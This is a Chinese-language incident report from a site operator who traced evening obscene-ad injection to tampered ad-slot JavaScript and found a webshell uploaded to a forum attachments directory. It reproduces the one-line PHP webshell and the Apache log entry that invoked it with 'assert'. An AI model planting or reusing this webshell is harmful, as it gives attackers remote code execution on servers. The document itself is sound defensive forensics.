一、情况描述
1、近期很多phpdba用户反应内页有不雅图片广告,晚上8点到12点就有,白天恢复正常。
2、用户分布在全国各地,辽宁鞍山网通、上海闵行区电信都有这样的问题,电脑手机都有这情况。
3、截图列表
二、问题分析
1、网站被黑
由于网站漏洞客观存在,就有人利用漏洞上传webshell,修改网站源码,以彰显其技术之牛逼。一种直接破坏源网站正常业务;另一种则在网站代码中注入其广告代码,牟利。
2、第三方统计网站被劫持
我们网站使用了51yes、cnzz等第三方网站进行数据统计及分析。曾经就遇到cnzz某些地区dns被劫持,导致我们网站上面也出现不雅广告的情况,去掉该统计代码即恢复正常。
3、运营商代理劫持 (http劫持、dns劫持)
如*城宽带,网内用户所有请求都从其网关服务器透明代理经过,然后代理服务器可以在返回给用户html的过程中,在html下添加其广告代码。比如:常见的右下角的弹框广告。
三、问题定位
1、与反应问题的用户联系
a、检查了域名解析情况,都正常解析到自己服务器。【排除dns劫持情况】
b、去掉第三方统计网站代码,不雅广告依然存在。【排除第三方统计网站被劫持情况】
c、查看用户协助保存下来的html代码,发现在页面广告位308下添加了不雅广告对联代码(如下图),从而确认自己广告系统可能被篡改。先去掉了该广告位代码,恢复正常。
d、之后又有用户反馈,问题依然存在。远程用户电脑,排查问题。发现依然是广告为代码被篡改。
“
var phpadsbanner = ''; phpadsbanner += '<'+'li style="text-decoration: none;">» <'+'a href=\'http://tc.phpdba.com/adclick.php?bann erid=5915&am p;zoneid=109 &source= &dest=ht tp%3A%2F%2Fs hop.phpdba.co m%2Furls%2FB NrH7\' target=\'_blank\'>孕妈大礼包付邮试用<'+'/a><'+'/li>'; document.writeln("<script type=\"text/javascript\" >BAIDU_CLB_SLOT_ID = \"847159\";</script>"); document.writeln("<script type=\"text/javascript\" src=\"http://cbjs. baidu.com/js /o.js\"></script>"); document.write(phpadsbanner);
”
自己本地查看该广告位代码,同上。登录服务器查看,服务器上该广告位在19点59分58秒,被修改成上述代码,同时对方还在尝试修改其他广告位代码(如下图)。
知道修改时间段之后,就可以查看代码同步日志及apache日志。
发现可疑apache访问,锁定webshell位置
“
199.1.88.29, 118.244.147.95, 127.0.0.1 – – [23/Oct/2014:19:59:46 +0800] “POST /bbs/attachments/forumid_41/kcf.php?ck=assert HTTP/1.0” 200 335 602 “http://xxx.
”
源码如下
“
ok!<?php $_GET[‘ck’]($_POST[‘lan’]);?>
”
e、将该webshell堵住,广告代码重新生成,问题暂时解决。提醒webshell利用者,请做有素质的“白帽子”,这样或许你得到的更多。
f、phpdba的安全道路上,因为有“白帽子”,会越来越光明。网络安全,需要更多“白帽子”,请加入“白帽子”队伍。
四、思考问题
以下是广告同步日志,请问从下面日志里面,你看到了什么问题,谢谢!
“
Thu Oct 23 19:59:51 2014 Normal: Calling rsync with filter-list of
new/modified files/dirs
/109.js
/
Thu Oct 23 19:59:51 2014 Normal: Calling rsync with filter-list of
new/modified files/dirs
/109.js
/
Thu Oct 23 19:59:51 2014 Normal: Calling rsync with filter-list of
new/modified files/dirs
/109.js
/
Thu Oct 23 19:59:51 2014 Normal: Calling rsync with filter-list of
new/modified files/dirs
/109.js
/
Thu Oct 23 19:59:51 2014 Normal: Calling rsync with filter-list of
new/modified files/dirs
/adscache/caches/109.js
/adscache/caches/
/adscache/
/
sending incremental file list
109.js
sent 665 bytes received 37 bytes 1404.00 bytes/sec
”